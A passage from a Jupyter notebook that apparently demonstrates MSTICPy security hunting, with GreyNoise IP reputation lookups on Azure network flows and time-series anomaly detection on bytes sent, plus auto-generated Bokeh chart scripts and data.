       "2024  103.199.215.204    ipv4  103.199.215.204         None  GreyNoise   \n",
       "\n",
       "      Result Severity  \\\n",
       "0       True     high   \n",
       "1       True     high   \n",
       "2       True     high   \n",
       "3       True     high   \n",
       "4       True     high   \n",
       "...      ...      ...   \n",
       "2020    True     high   \n",
       "2021    True     high   \n",
       "2022    True     high   \n",
       "2023    True     high   \n",
       "2024    True     high   \n",
       "\n",
       "                                                                                                  Details  \\\n",
       "0     {'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...   \n",
       "1     {'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...   \n",
       "2     {'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...   \n",
       "3     {'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...   \n",
       "4     {'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...   \n",
       "...                                                                                                   ...   \n",
       "2020  {'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...   \n",
       "2021  {'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...   \n",
       "2022  {'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...   \n",
       "2023  {'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...   \n",
       "2024  {'Classification': 'malicious', 'Name': 'unknown', 'Last Seen': '2022-04-19', 'Message': 'Succes...   \n",
       "\n",
       "                                                                                                RawResult  \\\n",
       "0     {'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...   \n",
       "1     {'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...   \n",
       "2     {'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...   \n",
       "3     {'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...   \n",
       "4     {'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...   \n",
       "...                                                                                                   ...   \n",
       "2020  {'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...   \n",
       "2021  {'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...   \n",
       "2022  {'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...   \n",
       "2023  {'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...   \n",
       "2024  {'ip': '103.199.215.204', 'noise': True, 'riot': False, 'classification': 'malicious', 'name': '...   \n",
       "\n",
       "                                                  Reference  Status  \n",
       "0     https://api.greynoise.io/v3/community/103.199.215.204       0  \n",
       "1     https://api.greynoise.io/v3/community/103.199.215.204       0  \n",
       "2     https://api.greynoise.io/v3/community/103.199.215.204       0  \n",
       "3     https://api.greynoise.io/v3/community/103.199.215.204       0  \n",
       "4     https://api.greynoise.io/v3/community/103.199.215.204       0  \n",
       "...                                                     ...     ...  \n",
       "2020  https://api.greynoise.io/v3/community/103.199.215.204       0  \n",
       "2021  https://api.greynoise.io/v3/community/103.199.215.204       0  \n",
       "2022  https://api.greynoise.io/v3/community/103.199.215.204       0  \n",
       "2023  https://api.greynoise.io/v3/community/103.199.215.204       0  \n",
       "2024  https://api.greynoise.io/v3/community/103.199.215.204       0  \n",
       "\n",
       "[2025 rows x 38 columns]"
      ]
     },
     "execution_count": 34,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "net_df = qry_prov.Network.list_azure_network_flows_by_ip()\n",
    "net_df[\"PublicIPs\"] = (\n",
    "    net_df[\"PublicIPs\"]\n",
    "    .str.strip(\"['']\")\n",
    "    .str.replace(\"'\", \"\")\n",
    "    .str.replace(\" \", \"\")\n",
    "    .str.split(\",\")\n",
    ")\n",
    "net_df = net_df.assign(IPs=net_df[\"PublicIPs\"].explode(\"IPs\"))\n",
    "net_df.dropna(subset=[\"IPs\"], inplace=True)\n",
    "(\n",
    "    net_df.mp_pivot.run(entities.IpAddress.util.ip_type, column=\"IPs\", join=\"left\")\n",
    "    .query(\"result == 'Public'\")\n",
    "    .head(100)\n",
    "    .mp_pivot.run(\n",
    "        entities.IpAddress.ti.lookup_ipv4_GreyNoise, column=\"IPs\", join=\"left\"\n",
    "    )\n",
    "    .query(\"Status != 404\")\n",
    ")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## MSTICPy's ML Features\n",
    "\n",
    "MSTICPy has a number of basic ML features to support simple analysis that is common in security investigaiton. In the following section we will look at two of those; timeseries analysis and clustering.\n",
    "\n",
    "In order to effectively hunt in a dataset analysts need to focus on specific events of interest. Below we use MSTICpy's [time series analysis](https://msticpy.readthedocs.io/en/latest/msticpy.analysis.html?highlight=timeseries#module-msticpy.analysis.timeseries) machine learning capabilities to identify anomalies in our network traffic for further investigation.<br>\n",
    "As well as computing anomalies we visualize the data so that we can more easily see where these anomalies present themselves.\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 35,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"2561\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  const force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  const JS_MIME_TYPE = 'application/javascript';\n  const HTML_MIME_TYPE = 'text/html';\n  const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  const CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    const script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    const cell = handle.cell;\n\n    const id = cell.output_area._bokeh_element_id;\n    const server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd_clean, {\n        iopub: {\n          output: function(msg) {\n            const id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      const cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd_destroy);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    const output_area = handle.output_area;\n    const output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n      return\n    }\n\n    const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      const bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      const script_attrs = bk_div.children[0].attributes;\n      for (let i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      const toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    const events = require('base/js/events');\n    const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  const NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    const el = document.getElementById(\"2561\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error(url) {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (let i = 0; i < css_urls.length; i++) {\n      const url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    for (let i = 0; i < js_urls.length; i++) {\n      const url = js_urls[i];\n      const element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.async = false;\n      element.src = url;\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n  const css_urls = [];\n  \n\n  const inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (let i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      const cell = $(document.getElementById(\"2561\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"c88d15e0-0f86-4560-ad56-4e837593a1ba\" data-root-id=\"2716\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "(function(root) {\n  function embed_document(root) {\n    \n  const docs_json = {\"05d3d9ea-d533-4985-b816-ac81689bd8cb\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"2564\"},{\"id\":\"2685\"}]},\"id\":\"2716\",\"type\":\"Column\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"2614\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2615\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2617\",\"type\":\"DaysTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2616\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"2621\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"2622\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2618\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"2620\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"2624\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"2619\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"2625\",\"type\":\"YearsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"firebrick\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"firebrick\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"firebrick\"},\"marker\":{\"value\":\"circle_x\"},\"size\":{\"value\":12},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"TotalBytesSent\"}},\"id\":\"2658\",\"type\":\"Scatter\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"2623\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"below\":[{\"id\":\"2696\"},{\"id\":\"2701\"}],\"center\":[{\"id\":\"2699\"}],\"height\":120,\"renderers\":[{\"id\":\"2709\"}],\"title\":{\"id\":\"2686\"},\"toolbar\":{\"id\":\"2700\"},\"toolbar_location\":null,\"width\":1200,\"x_range\":{\"id\":\"2688\"},\"x_scale\":{\"id\":\"2692\"},\"y_range\":{\"id\":\"2690\"},\"y_scale\":{\"id\":\"2694\"}},\"id\":\"2685\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"2690\",\"type\":\"DataRange1d\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"2702\"},\"group\":null,\"major_label_policy\":{\"id\":\"2724\"},\"ticker\":{\"id\":\"2697\"}},\"id\":\"2696\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"2745\"},{\"id\":\"2746\"},{\"id\":\"2747\"},{\"id\":\"2748\"},{\"id\":\"2749\"},{\"id\":\"2750\"},{\"id\":\"2751\"},{\"id\":\"2752\"},{\"id\":\"2753\"},{\"id\":\"2754\"},{\"id\":\"2755\"},{\"id\":\"2756\"}]},\"id\":\"2697\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"align\":\"right\",\"coordinates\":null,\"group\":null,\"text\":\"Drag the middle or edges of the selection box to change the range in the main chart\",\"text_font_size\":\"10px\"},\"id\":\"2701\",\"type\":\"Title\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"firebrick\"},\"hatch_color\":{\"value\":\"firebrick\"},\"line_color\":{\"value\":\"firebrick\"},\"marker\":{\"value\":\"circle_x\"},\"size\":{\"value\":12},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"TotalBytesSent\"}},\"id\":\"2657\",\"type\":\"Scatter\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Range Selector\"},\"id\":\"2686\",\"type\":\"Title\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2655\"},\"glyph\":{\"id\":\"2657\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2659\"},\"nonselection_glyph\":{\"id\":\"2658\"},\"view\":{\"id\":\"2661\"}},\"id\":\"2660\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2692\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"2694\",\"type\":\"LinearScale\"},{\"attributes\":{\"end\":1594684980000.0,\"start\":1593903420000.0},\"id\":\"2688\",\"type\":\"Range1d\"},{\"attributes\":{\"data\":{\"TimeGenerated\":{\"__ndarray__\":\"AADAwRYyd0IAAKgwGjJ3QgAAkJ8dMndCAAB4DiEyd0IAAGB9JDJ3QgAASOwnMndCAAAwWysyd0IAABjKLjJ3QgAAADkyMndCAADopzUyd0IAANAWOTJ3QgAAuIU8MndCAACg9D8yd0IAAIhjQzJ3QgAAcNJGMndCAABYQUoyd0IAAECwTTJ3QgAAKB9RMndCAAAQjlQyd0IAAPj8VzJ3QgAA4GtbMndCAADI2l4yd0IAALBJYjJ3QgAAmLhlMndCAACAJ2kyd0IAAGiWbDJ3QgAAUAVwMndCAAA4dHMyd0IAACDjdjJ3QgAACFJ6MndCAADwwH0yd0IAANgvgTJ3QgAAwJ6EMndCAACoDYgyd0IAAJB8izJ3QgAAeOuOMndCAABgWpIyd0IAAEjJlTJ3QgAAMDiZMndCAAAYp5wyd0IAAAAWoDJ3QgAA6ISjMndCAADQ86Yyd0IAALhiqjJ3QgAAoNGtMndCAACIQLEyd0IAAHCvtDJ3QgAAWB64MndCAABAjbsyd0IAACj8vjJ3QgAAEGvCMndCAAD42cUyd0IAAOBIyTJ3QgAAyLfMMndCAACwJtAyd0IAAJiV0zJ3QgAAgATXMndCAABoc9oyd0IAAFDi3TJ3QgAAOFHhMndCAAAgwOQyd0IAAAgv6DJ3QgAA8J3rMndCAADYDO8yd0IAAMB78jJ3QgAAqOr1MndCAACQWfkyd0IAAHjI/DJ3QgAAYDcAM3dCAABIpgMzd0IAADAVBzN3QgAAGIQKM3dCAAAA8w0zd0IAAOhhETN3QgAA0NAUM3dCAAC4Pxgzd0IAAKCuGzN3QgAAiB0fM3dCAABwjCIzd0IAAFj7JTN3QgAAQGopM3dCAAAo2Swzd0IAABBIMDN3QgAA+LYzM3dCAADgJTczd0IAAMiUOjN3QgAAsAM+M3dCAACYckEzd0IAAIDhRDN3QgAAaFBIM3dCAABQv0szd0IAADguTzN3QgAAIJ1SM3dCAAAIDFYzd0IAAPB6WTN3QgAA2OlcM3dCAADAWGAzd0IAAKjHYzN3QgAAkDZnM3dCAAB4pWozd0IAAGAUbjN3QgAASINxM3dCAAAw8nQzd0IAABhheDN3QgAAANB7M3dCAADoPn8zd0IAANCtgjN3QgAAuByGM3dCAACgi4kzd0IAAIj6jDN3QgAAcGmQM3dCAABY2JMzd0IAAEBHlzN3QgAAKLaaM3dCAAAQJZ4zd0IAAPiToTN3QgAA4AKlM3dCAADIcagzd0IAALDgqzN3QgAAmE+vM3dCAACAvrIzd0IAAGgttjN3QgAAUJy5M3dCAAA4C70zd0IAACB6wDN3QgAACOnDM3dCAADwV8czd0IAANjGyjN3QgAAwDXOM3dCAACopNEzd0IAAJAT1TN3QgAAeILYM3dCAABg8dszd0IAAEhg3zN3QgAAMM/iM3dCAAAYPuYzd0IAAACt6TN3QgAA6BvtM3dCAADQivAzd0IAALj58zN3QgAAoGj3M3dCAACI1/ozd0IAAHBG/jN3QgAAWLUBNHdCAABAJAU0d0IAACiTCDR3QgAAEAIMNHdCAAD4cA80d0IAAODfEjR3QgAAyE4WNHdCAACwvRk0d0IAAJgsHTR3QgAAgJsgNHdCAABoCiQ0d0IAAFB5JzR3QgAAOOgqNHdCAAAgVy40d0IAAAjGMTR3QgAA8DQ1NHdCAADYozg0d0IAAMASPDR3QgAAqIE/NHdCAACQ8EI0d0IAAHhfRjR3QgAAYM5JNHdCAABIPU00d0IAADCsUDR3QgAAGBtUNHdC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[168]},\"TotalBytesSent\":[10823,14821,13532,11947,11193,13257,13375,27975,31501,28775,31398,32979,32241,33539,28420,25757,30947,27803,29637,29670,11563,13465,13587,14967,12964,13858,13119,13907,12739,11227,11268,31322,26683,32982,32544,31414,28254,29893,31290,28334,26328,26448,30576,30793,10484,14995,11715,11296,10487,10789,14758,10998,10682,14572,13689,34167,27286,33955,33700,26810,30679,31533,33739,32815,26046,27499,33974,29118,12821,12836,13819,14877,14220,10053,14690,13161,14334,12806,11771,25544,27355,33777,27055,27816,32648,25686,32147,33363,28923,31547,33575,26369,14754,10415,10286,12086,11414,14915,14479,14063,13211,12485,14759,26964,31469,26214,33556,32596,25150,31064,25338,25714,26089,25673,48616,45856,11654,13127,12184,14179,13841,11097,13724,10535,10022,12570,14145,18473,19477,19080,17622,18725,17612,19733,19338,18656,17732,17801,16167,16485,11455,10545,13991,10699,12735,12639,14501,12477,11497,10081,11729,18121,17458,18104,16508,17814,16494,17588,18545,19534,16085,15276,15363,18166,13830,13350,11842,11111],\"anomalies\":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],\"baseline\":[11187,14007,13280,12238,11314,12641,12350,30664,29442,31531,32547,32060,31540,32721,30726,27678,29255,27470,28928,28791,10907,13894,12754,13436,11796,13334,13807,12503,11862,12800,12552,29979,28690,31444,31693,30566,30470,31010,30430,28406,28016,27368,31130,29511,11469,13234,12458,13336,12055,12579,14104,12723,12402,13021,13045,29441,28468,31613,31518,30080,30103,30386,30901,29854,27887,28203,34349,31499,12950,13611,13072,13965,12753,12328,14733,12960,12805,13258,13457,28209,27735,30514,30198,28394,28438,28562,29639,29520,26364,27468,35919,32037,13313,12912,13020,14080,14269,13789,16208,14404,14225,14694,15656,26848,27373,28686,28393,27900,27131,27913,28314,28378,25707,26105,32232,29906,14825,13953,14045,13866,14136,13332,15009,12709,11857,11592,12842,20300,21208,20687,20314,20820,18816,20331,19942,20270,18209,18082,22571,22484,11144,10574,10923,10288,11477,11094,12823,10765,9983,9851,12111,16511,18096,16513,16469,18378,15622,18256,17387,18026,16531,15796,17900,20157,13089,12694,13044,11487],\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167],\"residual\":[-364,813,251,-291,-121,615,1024,-2689,2058,-2756,-1149,918,700,817,-2306,-1921,1691,332,708,878,655,-429,832,1530,1167,523,-688,1403,876,-1573,-1284,1342,-2007,1537,850,847,-2216,-1117,859,-72,-1688,-920,-554,1281,-985,1760,-743,-2040,-1568,-1790,653,-1725,-1720,1550,643,4725,-1182,2341,2181,-3270,575,1146,2837,2960,-1841,-704,-375,-2381,-129,-775,746,911,1466,-2275,-43,200,1528,-452,-1686,-2665,-380,3262,-3143,-578,4209,-2876,2507,3842,2558,4078,-2344,-5668,1440,-2497,-2734,-1994,-2855,1125,-1729,-341,-1014,-2209,-897,115,4095,-2472,5162,4695,-1981,3150,-2976,-2664,381,-432,16383,15949,-3171,-826,-1861,312,-295,-2235,-1285,-2174,-1835,977,1302,-1827,-1731,-1607,-2692,-2095,-1204,-598,-604,-1614,-477,-281,-6404,-5999,310,-29,3067,410,1257,1544,1677,1711,1513,229,-382,1609,-638,1590,38,-564,871,-668,1157,1507,-446,-520,-2537,-1991,740,655,-1202,-376],\"score\":{\"__ndarray__\":\"wXsqBZ0ywr+h30T8qIXTPy3+xdGRbLc/Qy/71X1Lvb/w3KS70YSpvwZYxigsas0/H8eTFymn2D/p2TyNrWjwvwJVXrD35eg/q6FE3vLQ8L99K6a3BjDcv3UMLTlME9Y/HERoszjG0D/6Fj+Cj57TPyOaTsw+Key/nvKk3Oh6578FqiduqG/kPy+B8TWCTb8/zbJcvwX40D8A42b9ShrVP/GqUqAuXM8/foJuB+Fbxb+GZqn47/vTPy8Q3CWJeuI/vQFFTVoh3D8eZtAVwPDIP+PAwOY++tC/kuH3lj3v4D9Ux2m61w3VPxOLoBi9P+O/afdi4Wp437+P+2PZXzHgP5XF5vyWhui/nQAX21KQ4j+UX49T/WvUPxK2E29QWdQ/f6sPaR0R67+5cNSH0mjbvxtcAgEEpNQ/G1q34yT5n7+rZo3erqXkv/JKcUF5nta/mwUFvShwy78YK6A3BOfeP1BOk0IbM9i/Yce1sWxG5T/kOfGYoFDSv+PpjuVN7ei/eyjkBC0w479UqMMKKuPlv5hzWBpIQ88/paYyCtkY5b8NRHb2SAnlv42azXTJuOI/3l51fMfGzj/1E4s0lan8Pxh09oh0/dy/3brRc9JW7D/zZ0X8z2TqP6fTSm7g8PO/HAU6sSl4yz8sX+MNoJ7bPyeRNXNTL/E/oBopmb/u8T8oyd6g54Hmv0Weqf7YXdG/KKwK5pC7wr8BYVj0rxLtv3lSSBs6E6u/qfTCyNQX07+WwCW4k+TRP5ort86459U/a1UK9lSz4T+sAyWFwcjrv/1FVi6wsJS/ivfsIKV2sj9Zgl2ET3TiP/j+Kww8esa/1dgOPXWf5L/khkXEU0Pwv4U2/DTR+cK/R+/7ub7E8z9ZvNimOivzv8GdvwT3msy/DpvF04qG+T/DQBnLs4v